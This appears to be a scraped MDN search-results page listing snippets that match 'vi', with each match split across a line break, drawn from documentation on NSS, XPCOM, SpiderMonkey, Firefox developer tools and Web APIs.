vide a consistent number from build to build where no source code has changed.
... pro
vide reasonable coverage for the normal acti
vities that a user performs.
...And 3 more matches
PRIOMethods
available64 same as pre
vious field, except 64-bit.
... seek64 same as pre
vious field, except 64-bit.
... fileinfo64 same as pre
vious field, except 64-bit.
...And 3 more matches
PR_SetConcurrency
creates extra
virtual processor threads.
... syntax #include <prinit.h> void pr_setconcurrency(pruintn numcpus); parameter pr_setconcurrency has one parameter: numcpus the number of extra
virtual processor threads to be created.
... description setting concurrency controls the number of
virtual processors that nspr uses to implement its m x n threading model.
...And 3 more matches
4.3 Release Notes
release date: 01 april 2009 introduction network security ser
vices for java (jss) 4.3 is a minor release with the following new features: sqlite-based shareable certificate and key databases libpkix: an rfc 3280 compliant certificate path validation library pkcs11 needslogin method support hmacsha256, hmacsha384, and hmacsha512 support for all nss 3.12 initialization options jss 4.3 is tri-licensed under mpl 1.1/gpl 2.0/lgpl 2.1.
... new sqlite-based shareable certificate and key databases by prepending the string "sql:" to the directory path passed to configdir parameter for crypomanager.initialize method or using the nss en
vironment variable nss_default_db_type.
...jss is a jni library we pro
vide the jss4.jar but expect you to build the jss's matching jni shared library.
...And 3 more matches
NSS 3.12.4 release notes
<center> 2009-08-20 </center> <center>newsgroup: mozilla.dev.tech.crypto</center> introduction network security ser
vices (nss) 3.12.4 is a patch release for nss 3.12.
...currently nss 3.12.4 is in the "re
view pending" state in the fips 140-2 pre-validation list at http://csrc.nist.gov/groups/stm/cmvp/documents/140-1/140inprocess.pdf added crl distribution point support (see cert.h).
...exclusions: as a top level, outter-most expression only, the expression foo~bar will match the expression foo, pro
vided it does not also match the expression bar.
...And 3 more matches
NSS 3.16 release notes
introduction the nss team has released network security ser
vices (nss) 3.16, which is a minor release.
...(this requires nspr 4.10.4.) to build for the linux x32 target, set the en
vironment variable use_x32=1 when building nss.
...pre
viously, they had to be referred to with their names in ssl 3.0, with the ssl_ prefix.
...And 3 more matches
NSS_Initialize
nss_init_pk11threadsafe - only load pkcs#11 modules that are thread-safe, i.e., that support locking - either os locking or nss-pro
vided locks .
...this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, the java sunpkcs11 pro
vider.
...this is necessary if another piece of code is using the same pkcs#11 modules that nss is accessing without going through nss, for example, java sunpkcs11 pro
vider.
...And 3 more matches
NSS tools : crlutil
please contribute to the initial re
view in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...this option is pro
vided as a special case.
... implemented extensions the extensions defined for crl pro
vide methods for associating additional attributes with crls of theirs entries.
...And 3 more matches
NSS Tools crlutil
this option is pro
vided as a special case.
... implemented extensions the extensions defined for crl pro
vide methods for associating additional attributes with crls of theirs entries.
... for more information see rfc #3280 add the authority key identifier extension: the authority key identifier extension pro
vides a means of identifying the public key corresponding to the private key used to sign a crl.
...And 3 more matches
Garbage collection
design over
view spidermonkey has a mark-sweep garbage collection (gc) with incremental marking mode, generational collection, and compaction.
...in other words, from the point of
view of the rest of the engine, the job of the gc is to allocate cells and automatically collect them.
...the allocation kind determines the size of the object and the finalization beha
vior.
...And 3 more matches
Property cache
in the case of shared permanent properties, this differs from the notion of "own property" seen by scripts
via object.prototype.hasownproperty.
...without this guarantee, every access to a property
via a prototype chain would have to recheck each link in the prototype chain, even though assigning to __proto__ is very rare.) adding guarantee — if at time t0 the object x has shape s, and rt->protohazardshape is z, and x does not inherit a jsprop_shared or jsprop_readonly property with name n from any prototype, and at time t1 an object y has shape s and rt->protohazardshape is z, and no ...
...we do this by gi
ving the sealed object a unique shape.
...And 3 more matches
JSPropertyOp
pro
vides request.
...a jspropertyop may be installed on an indi
vidual property as a getter or setter; or it may be installed on a jsclass to hook property gets, sets, or adds.
...it is also called when the property's value is accessed
via jsapi functions such as js_getproperty or (less ob
viously) js_callfunctionname.
...And 3 more matches
JS_DefineFunctions
syntax bool js_definefunctions(jscontext *cx, js::handle<jsobject*> obj, const jsfunctionspec *fs, propertydefinitionbeha
vior beha
vior = defineallproperties); in spidermonkey versions prior to spidermonkey 24, fs was not const.
...each element of the array defines an indi
vidual function.
... beha
vior propertydefinitionbeha
vior see below.
...And 3 more matches
Redis Tips
but ob
viously, calling ice cream a nowhale food doesn't give you any sense of how good the ice cream is, or what sets it apart from other kinds of food that aren't made from whale meat but that are also very unlike ice cream -- it just gives the whaling industry a way to lump together people who don't use their products.
... get key set key value exists key setnx key value incr key incrby key int incrbyfloat key float getset key value get and set are fairly ob
vious.
... (try this by breaking one of the set statements by lea
ving out the value argument.) you'll get one return value for each operation that didn't crash.
...And 3 more matches
A Web PKI x509 certificate primer
this article pro
vides an over
view of what these are and how they work.
...extensions can be marked as critical or non-critical, conforming certificate verification libraries should stop processing verification when encountering a critical extension that they do not understand ( and should continue processing if the extension is marked as non-critical) mozila::pkix has this beha
vior.
...self-sign csr (using sha256) and append the extensions described in the file "openssl x509 -req -sha256 -days 3650 -in example.csr -signkey key.pem -set_serial $any_integer -extfile openssl.ss.cnf -out example.pem" you can now use example.pem as your certfile cas included in firefox when you
visit a secure website, firefox will validate the website’s certificate by checking that the certificate that signed it is valid, and checking that the certificate that signed the parent certificate is valid and so forth up to a root certificate that is known to be valid.
...And 3 more matches
Generic factory
the new nsigenericfactory interface takes this a step further, by pro
viding a single interface that can be reused anytime a simple implementation of nsifactory is needed.
... /** * pro
vides a generic nsifactory implementation that can be used by * dlls with very simple factory needs.
... examples class nsicomponent : public nsisupports { public: ns_imethod dosomething() = 0; }; class mycomponent : public nsicomponent { public: mycomponent();
virtual ~mycomponent(); static ns_method create(nsisupports *aouter, refnsiid aiid, void **aresult); ns_impl_isupports ns_imethod dosomething(); }; to create a factory for this class, simply write the following: nsifactory* newcomponentfactory(nsirepository* repository) { nsigenericfactory* factory = null; nscid kgenericfactorycid = ns_genericfactory_cid; nsresult res = repos...
...And 3 more matches
XPCOM guide
these articles pro
vide tutorials and usage documentation for xpcom, including how to use it in your own projects and how to build xpcom components for your firefox add-ons and the like.
... avoiding leaks in javascript xpcom componentsprogrammers writing and re
viewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks.
...the problem would not exist with java's interfaces).making cross-thread calls using runnablesin the mozilla platform, most acti
vities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
...And 3 more matches
IAccessible2
1.0 66 introduced gecko 1.9 inherits from: iaccessible last changed in gecko 1.9 (firefox 3) method over
view [propget] hresult attributes([out] bstr attributes ); [propget] hresult extendedrole([out] bstr extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole...
...scrollto() makes an object
visible on the screen.
...this value is pro
vided so the at can have access to a unique runtime persistent identifier even when not handling an event for the object.
...And 3 more matches
imgICache
that means that using getser
vice in order to obtain it will yield incorrect results.
... use the following snippet to obtain a relevant image cache for a given document or channel (where relevantdocument is a document object that contains images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getser
vice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie.
... method over
view void clearcache(in boolean chrome); nsiproperties findentryproperties(in nsiuri uri); void removeentry(in nsiuri uri); methods clearcache() e
vict images from the cache.
...And 3 more matches
imgIEncoder
1.0 66 introduced gecko 1.8 inherits from: nsiasyncinputstream last changed in gecko 1.9 (firefox 3) method over
view void addimageframe( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 frameformat, in astring frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void initfromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); ...
...void startimageencode(in pruint32 width, in pruint32 height, in pruint32 inputformat, in astring outputoptions); constants possible values for input format (note that not all image formats support sa
ving alpha channels): constant value description input_format_rgb 0 input is rgb each pixel is represented by three bytes: r, g, and b (in that order, regardless of host endianness) input_format_rgba 1 input is rgb each pixel is represented by four bytes: r, g, and b (in that order, regardless of host endianness).
...delay=# -- default: "500" number of milliseconds to display the frame, before mo
ving to the next frame.
...And 3 more matches
nsIAccessibleTable
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsiaccessible getcellat(in long rowindex, in long columnindex); note: renamed from cellrefat in gecko 1.9.2 long getcellindexat(in long rowindex, in long columnindex); note: renamed from getindexat in gecko 1.9.2 astring getcolumndescription(in long columnindex); long getcolumnextentat(in long row, in long column); long getcolumnindexat(in long cellindex); note: renamed from getcolumnatindex in gecko 1.9.2 void getrowandcolumnindicesat(in long cellindex, out long rowindex, out long columnindex); astring getrowde...
...if both row and column index are valid then the corresponding accessible object is returned that represents the requested cell regardless of whether the cell is currently
visible (on the screen).
... selectcolumn() select a column and unselects all pre
viously selected columns.
...And 3 more matches
nsIApplicationCache
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) each application cache has a unique client id for use with nsicacheser
vice.opensession() method, to access the cache's entries.
...each group has one "active" cache that will ser
vice future loads.
...method over
view void activate(); void addnamespaces(in nsiarray namespaces); void discard(); void gatherentries(in pruint32 typebits, out unsigned long count, [array, size_is(count)] out string keys); nsiapplicationcachenamespace getmatchingnamespace(in acstring key); unsigned long gettypes(in acstring key); void initashandle(in acstring groupid, in acstring clientid); void markentry(in acstring key, in unsigned long typebits); void unmarkentry(in acstring key, in unsigned long typebits); attributes attribute type description active boolean true if the cache is the active cache for this group, otherwise false.
...And 3 more matches
nsIComponentManager
xpcom/components/nsicomponentmanager.idlscriptable this interface pro
vides methods to access factory objects and instantiate instances of classes.
... 66 introduced gecko 0.7 inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) method over
view void addbootstrappedmanifestlocation(in nsilocalfile alocation); void createinstance(in nscidref aclass, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void createinstancebycontractid(in string acontractid, in nsisupports adelegate, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobject(in nscidref aclass, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void getclassobjectbycontractid(in string acontractid, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); void removebootstr...
... this method was introduced in gecko 8 to let bootstrapped add-ons pro
vide content at chrome:// uris.
...And 3 more matches
nsIEditor
« xpcom api reference editor/nsieditor.idlscriptable pro
vides methods and attributes used when editing page content.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method over
view [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short stripwrappers); document in...
...statelistener listener); debug methods void dumpcontenttree(); void debugdumpcontent() ; void debugunittests(out long outnumtests, out long outnumtestsfailed); [notxpcom] boolean ismodifiablenode(in nsidomnode anode); constants load flags constant value description enone 0 enext 1 epre
vious 2 enextword 3 epre
viousword 4 etobeginningofline 5 etoendofline 6 attributes attribute type description contentsmimetype string the mime type of the document.
...And 3 more matches
nsIEditorSpellCheck
editor/idl/nsieditorspellcheck.idlnot scriptable pro
vides spell checking commands for nsieditor instances.
...to create an instance, use: var editorspellcheck = components.classes["@mozilla.org/editor/editorspellchecker;1"] .createinstance(components.interfaces.nsieditorspellcheck); method over
view void addwordtodictionary(in wstring word); boolean canspellcheck(); void checkcurrentdictionary(); boolean checkcurrentword(in wstring suggestedword); boolean checkcurrentwordnosuggest(in wstring suggestedword); astring getcurrentdictionary(); void getdictionarylist([array, size_is(count)] out wstring dictionarylist, out pruint32 count); wstring ge...
...d initspellchecker(in nsieditor editor, in boolean enableselectionchecking); void removewordfromdictionary(in wstring word); void replaceword(in wstring misspelledword, in wstring replaceword, in boolean alloccurrences); void savedefaultdictionary(); obsolete since gecko 9.0 void setcurrentdictionary(in astring dictionary); void setfilter(in nsitextser
vicesfilter filter); void uninitspellchecker(); void updatecurrentdictionary(); methods addwordtodictionary() adds the specified word to the current personal dictionary.
...And 3 more matches
nsIEventListenerInfo
content/events/public/nsieventlistenerser
vice.idlscriptable an instance of this interface describes how an event listener was added to an event target; these are returned by nsieventlistenerser
vice.getlistenerinfofor, which pro
vides a list of all the listeners to a given event target.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view nsisupports getdebugobject(); astring tosource(); attributes attribute type description allowsuntrusted boolean indicates whether or not the event listener allows untrusted events.
... methods getdebugobject() returns the debugger object if the debug ser
vice is active.
...And 3 more matches
nsIGlobalHistory2
docshell/base/nsiglobalhistory2.idlscriptable this interface pro
vides information about global history to gecko.
... inherits from: nsisupports last changed in gecko 1.7 this interface replaces and deprecates nsiglobalhistory method over
view void adduri(in nsiuri auri, in boolean aredirect, in boolean atoplevel, in nsiuri areferrer); boolean is
visited(in nsiuri auri); void setpagetitle(in nsiuri auri, in astring atitle); methods adduri() add a uri to global history.
... note: docshell will not filter out uri schemes like chrome:, data:, about: and
view-source:.
...And 3 more matches
nsIPrincipal
caps/nsiprincipal.idlscriptable pro
vides the interface to a principal, which represents a security context.
...method over
view short canenablecapability(in string capability); native code only!
...note that this may be empty; prefer to get the certificate itself and get this information from it, since that may pro
vide more information.
...And 3 more matches
nsIPrompt
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: this interface is identical to nsipromptser
vice but without the parent nsidomwindow parameter.
... to avoid redundancy, all methods here link to nsipromptser
vice.
...normally you would use the prompt ser
vice as it is more flexible, but sometimes a callback will request an nsiprompt
via nsiinterfacerequestor.getinterface().
...And 3 more matches
nsIPushSubscription
dom/interfaces/push/nsipushser
vice.idlscriptable includes information needed to send a push message to pri
vileged code.
... inherits from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) each subscription is associated with a unique url generated by the push ser
vice.
... method over
view void getkey(in domstring name, [optional] out uint32_t keylen, [array, size_is(keylen), retval] out uint8_t key); bool quotaapplies(); bool isexpired(); attributes attribute type description endpoint domstring the subscription url.
...And 3 more matches
nsISHistory
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in an embedded browser en
vironment, the nsiwebbrowser object creates an instance of session history for each open window.
... a handle to the session history object can be obtained from nsiwebna
vigation.
... in a non-embedded situation, the owner of the session history component must create a instance of it and set it in the nsiwebna
vigation object.
...And 3 more matches
nsIScriptableIO
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...nsiscriptableio pro
vides a convenient api for creating files and streams, as well as for reading and writing data to them.
...for example: io.getfile("profile", "cookies.txt"); from an xpcom component, however, you will need to get a reference as with other components: var scriptableio = components.classes["@mozilla.org/io/scriptable-io;1"] .getser
vice(); scriptableio.getfile("profile", "cookies.txt"); method over
view nsifile getfile(in astring alocation, in astring afilename); nsifile getfilewithpath(in astring afilepath); nsisupports newinputstream(in nsivariant abase, in astring amode, [optional] in astring acharset, [optional] in astring areplacechar, [optional] in unsigned long abuffersize)...
...And 3 more matches
nsISearchEngine
netwerk/base/public/nsibrowsersearchser
vice.idlscriptable please add a summary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine.
...this should only be called on engines created
via nsibrowsersearchser
vice.addenginewithdetails().
...And 3 more matches
nsIUpdatePrompt
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable this interface describes an object that can be used to show various update-related notifications to the user.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void checkforupdates(); void showupdateavailable(in nsiupdate update); void showupdatedownloaded(in nsiupdate update, [optional] in boolean background); void showupdateerror(in nsiupdate update); void showupdatehistory(in nsidomwindow parent); void showupdateinstalled(); methods checkforupdates() presents a user interface that checks for and displays the available updates.
...showupdateavailable() shows a message ad
vising the user that an update is available to be downloaded and installed.
...And 3 more matches
nsIUpdateTimerManager
toolkit/mozapps/update/nsiupdatetimermanager.idlscriptable this interface pro
vides a global application ser
vice that pro
vides support for long-duration timers (on the order of many days, weeks, or even months).
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void registertimer(in astring id, in nsitimercallback callback, in unsigned long interval); methods registertimer() presents a user interface that checks for and displays the available updates.
... in order to avoid ha
ving to instantiate a component to call the registertimer() method, the component can instead register an update-timer category with comma-separated values as a single string representing the timer, like this: _xpcom_categories: [{ category: "update-timer", value: "contractid," + "method," + "id," + ...
...And 3 more matches
nsIVariant
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view acstring getasacstring(); native code only!
... nsresult getasarray(out pruint16 type, out nsiid iid, out pruint32 count, out voidptr ptr);
violates the xpcom interface guidelines astring getasastring(); native code only!
... nsresult getasid(out nsid retval);
violates the xpcom interface guidelines print16 getasint16(); native code only!
...And 3 more matches
nsIXULAppInfo
xpcom/system/nsixulappinfo.idlscriptable this interface pro
vides information about the host application.
...it pro
vides application name, application version, gecko version and more.
...to create an instance, use: var xulappinfo = components.classes["@mozilla.org/xre/app-info;1"] .getser
vice(components.interfaces.nsixulappinfo); the nsixulruntime interface is also implemented by "xre/app-info".
...And 3 more matches
Troubleshooting XPCOM components registration
set nspr_log_modules=nsnativemoduleloader:5 set nspr_log_file=c:\path\to\logfile "c:\program files\mozilla firefox\firefox.exe" examining this log for warning and errors may pro
vide valuable clues why the component failed to load.
...this should not occur if you uninstalled/installed your extension
via the extension manager.
... you can also use the profiling feature of dependency walker to
view failed module loads while running your application.
...And 3 more matches
Using nsIPasswordManager
re
view and cleanup would be appreciated.
...to do so securely, they can use nsipasswordmanager, which pro
vides for secure storage of sensitive password information.
... getting nsipasswordmanager to get a component implementing nsipasswordmanager, use the following: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getser
vice(components.interfaces.nsipasswordmanager); storing a password to store a password in the password manager, you need three things: a hostname/url (you'll need this to retrieve the password again later), a username, and a password.
...And 3 more matches
XPCOM tasks
5.1 3rd party code that doesn't use any ser
vices from our tree should be below xpcom; particularly, code xpcom could exploit, e.g., expat berkeley db changes to apis, functionality, and implementations the following items are listed (very) roughly in their order of importance, i.e., fixing observers is the first thing i want to do.
...a first step is mo
ving all qi implementations to the table-like macros already in place (and some slight modifications to those macros).
... p2 classes that parallel standard library classes should have compatible apis, i.e., nsdeque bug 18505 nsstring nsavltree nshashtable our various array classes in some cases, this might initially be pro
vided by additional interfaces.
...And 3 more matches
js-ctypes reference
the ctypes object also pro
vides numerous predefined types that correspond to primitives and common typedefs in c.
... the library object is used mostly to declare native functions pro
vided by the library so that js-ctypes knows how to call them.
... types and data to use js-ctypes effectively, it is important to understand the different kinds of objects that the module pro
vides.
...And 3 more matches
Flash Activation: Browser Comparison - Plugins
this guide will help outline the similarities and differences between the browsers so web developers can pro
vide the best user experience.
... mozilla firefox google chrome microsoft edge setting name ask to activate html5 by default click-to-run 'application/x-shockwave-flash' in na
vigator.mimetypes by default when flash is inactive yes no no 'application/x-shockwave-flash' in na
vigator.mimetypes when user enables flash yes yes yes <object> with fallback content triggers ui yes, with exceptions no yes small/hidden flash triggers additional ui yes no no enabling flash automatically reloads the page no ...
...the user can click on the flash object or the location bar icon to activate flash: users have the choice to allow flash just for the current session, or to remember their choice: google chrome in-page ui is displayed when the site attempts to use flash without fallback content: a user can click the plugin element to show a prompt for allowing flash: if the site pro
vides fallback content for an object element, chrome will display that content and will not prompt the user to enable flash.
...And 3 more matches
Plug-in Side Plug-in API - Plugins
« pre
viousnext » this chapter describes methods in the plug-in api that are available for the plug-in object.
...for an over
view of how these two sides of the plug-in api interact, see the how plug-ins work and over
view of plug-in structure sections in the introduction.
... np_initialize pro
vides global initialization for a plug-in.
...And 3 more matches
Gecko Plugin API Reference - Plugins
plug-in basics how plug-ins are used plug-ins and helper applications how plug-ins work understanding the runtime model plug-in detection how gecko finds plug-ins checking plug-ins by mime type over
view of plug-in structure understanding the plug-in api plug-ins and platform independence windowed and windowless plug-ins the default plug-in using html to display plug-ins plug-in display modes using the object element for plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development over
view writing plug-ins registering plug-ins ms windows unix mac os x dra...
...wing a plug-in instance handling memory sending and recei
ving streams working with urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction initialization instance creation instance destruction shutdown initialize and shutdown example drawing and event handling the npwindow structure drawing plug-ins printing the plug-in setting the window getting information windowed plug-ins mac os windows unix event handlin...
...g for windowed plug-ins windowless plug-ins specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams recei
ving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls po...
...And 3 more matches
Browser Console - Firefox Developer Tools
input/output messages: commands send to the browser
via the command line, and the result of executing them.
... components.utils.import("resource://gre/modules/console.jsm"); console.log("hello from firefox code"); //output messages to the console learn more: console api reference console.jsm source code in the mozilla dxr hudser
vice there is also the hudser
vice which allows access to the browse console.
... here is an example on how to clear the contents of the browser console: components.utils.import("resource://devtools/shared/loader.jsm"); var hudser
vice = devtools.require("devtools/client/webconsole/hudser
vice"); var hud = hudser
vice.getbrowserconsole(); hud.jsterm.clearoutput(true); if you would like to access the content document of the browser console this can be done with the hudser
vice.
...And 3 more matches
Set a breakpoint - Firefox Developer Tools
conditional breakpoints a conditional breakpoint is one where the code will pause execution when it is reached, only if a certain condition is met, such a variable ha
ving a certain value at the time.
... if the breakpoint is a conditional breakpoint, you'll get an option edit condition, which allows you to change the pre
viously set condition.
... inline variable pre
view new in firefox 71, the source pane now gives you an inline pre
view of the variables on each line of code you've stepped through: this is a very useful timesaver when stepping through your code.
...And 3 more matches
Debugger.Memory - Firefox Developer Tools
a bernoulli trial succeeds, with probability equal to the maximum of d.memory.allocationsamplingprobability of all debugger instances d that are obser
ving the global that this object is allocated within the scope of.
... note that in the presence of multiple debugger instances obser
ving the same allocations within a global’s scope, the maximum allocationsamplingprobability of all the debuggers is used.
...known values include the following: “api” “eager_alloc_trigger” “destroy_runtime” “last_ditch” “too_much_malloc” “alloc_trigger” “debug_gc” “compartment_re
vived” “reset” “out_of_nursery” “e
vict_nursery” “full_store_buffer” “shared_memory_limit” “periodic_full_gc” “incremental_too_slow” “dom_window_utils” “component_utils” “mem_pressure” “cc_waiting” “cc_forced” “load_end” “page_hide” “nsjscontext_destroy” “set_new_document” “set_doc_s...
...And 3 more matches
Tutorial: Set a breakpoint - Firefox Developer Tools
since the debugger api is only available to pri
vileged javascript code, you’ll need to use the browser content toolbox to try it out.
... save the following text to an html file: <div onclick="report('the best div');">click me!</div> <div onclick="report('another great div');">or me!</div> <script> function report(what) { console.log('clicked: ' + what); } </script>
visit the html file in your browser, and open the browser content toolbox by opening the firefox menu, choosing “web developer”, and then “browser content toolbox”.
... if debugger is unable to find the report function, or the console output does not appear, evaluate the expression tabs[0].content.document.location in the console to make sure that tabs[0] indeed refers to the html file you
visited.
...And 3 more matches
Memory - Firefox Developer Tools
it then pro
vides a number of
views of the heap that can show you which objects account for memory usage and exactly where in your code you are allocating memory.
... the basics opening the memory tool taking a heap snapshot comparing two snapshots deleting snapshots sa
ving and loading snapshots recording call stacks analyzing snapshots the tree map
view is new in firefox 48, and the dominators
view is new in firefox 46.
... once you've taken a snapshot, there are three main
views the memory tool pro
vides: the tree map
view shows memory usage as a treemap.
...And 3 more matches
AbsoluteOrientationSensor - Web APIs
the absoluteorientationsensor interface of the sensor apis describes the de
vice's physical orientation in relation to the earth's reference coordinate system.
... to use this sensor, the user must grant permission to the 'accelerometer', 'gyroscope', and 'magnetometer' de
vice sensors through the permissions api.
... on each reading it uses orientationsensor.quaternion to rotate a
visual model of a phone.
...And 3 more matches
AbstractRange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a></svg></div>...
...range pro
vides methods that allow you to alter the range's endpoints, as well as methods to compare ranges, detect intersections beween ranges, and so forth.
...there are fairly ob
vious limitations (such as if a node is moved to be after the endpoint of a range, or if the content of a node is hea
vily altered), but it's far better than nothing.
...And 3 more matches
AudioContext.getOutputTimestamp() - Web APIs
the two values are as follows: audiotimestamp.contexttime: the time of the sample frame currently being rendered by the audio output de
vice (i.e., output audio stream position), in the same units and origin as the context's audiocontext.currenttime.
... audiotimestamp.performancetime: an estimation of the moment when the sample frame corresponding to the stored contexttime value was rendered by the audio output de
vice, in the same units and origin as performance.now().
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetoutputtimestamp experimentalchrome full support 57edge full support ≤79firefox full support 70ie no support noopera ...
...And 3 more matches
BasicCardRequest.supportedNetworks - Web APIs
legal values are defined in the w3c's document card network identifiers approved for use with payment request api, and are currently: amex cartebancaire diners discover jcb mastercard mir unionpay
visa example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['
visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsupportednetworkschrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only...
...And 3 more matches
BluetoothRemoteGATTCharacteristic - Web APIs
the bluetoothremotegattcharacteristic interface of the web bluetooth api represents a gatt characteristic, which is a basic data element that pro
vides further information about a peripheral’s ser
vice.
... interface interface bluetoothremotegattcharacteristic { readonly attribute bluetoothremotegattser
vice ser
vice; readonly attribute uuid uuid; readonly attribute bluetoothcharacteristicproperties properties; readonly attribute data
view?
... value; promise<bluetoothremotegattdescriptor> getdescriptor(bluetoothdescriptoruuid descriptor); promise<sequence<bluetoothremotegattdescriptor>> getdescriptors(optional bluetoothdescriptoruuid descriptor); promise<data
view> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.ser
viceread only returns the bluetoothgattser
vice this characteristic belongs to.
...And 3 more matches
BroadcastChannel - Web APIs
messages are broadcasted
via a message event fired at all broadcastchannel objects listening to the channel.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" s...
... also available
via the onmessage property.
...And 3 more matches
CanvasRenderingContext2D.setTransform() - Web APIs
the older type consists of several parameters representing the indi
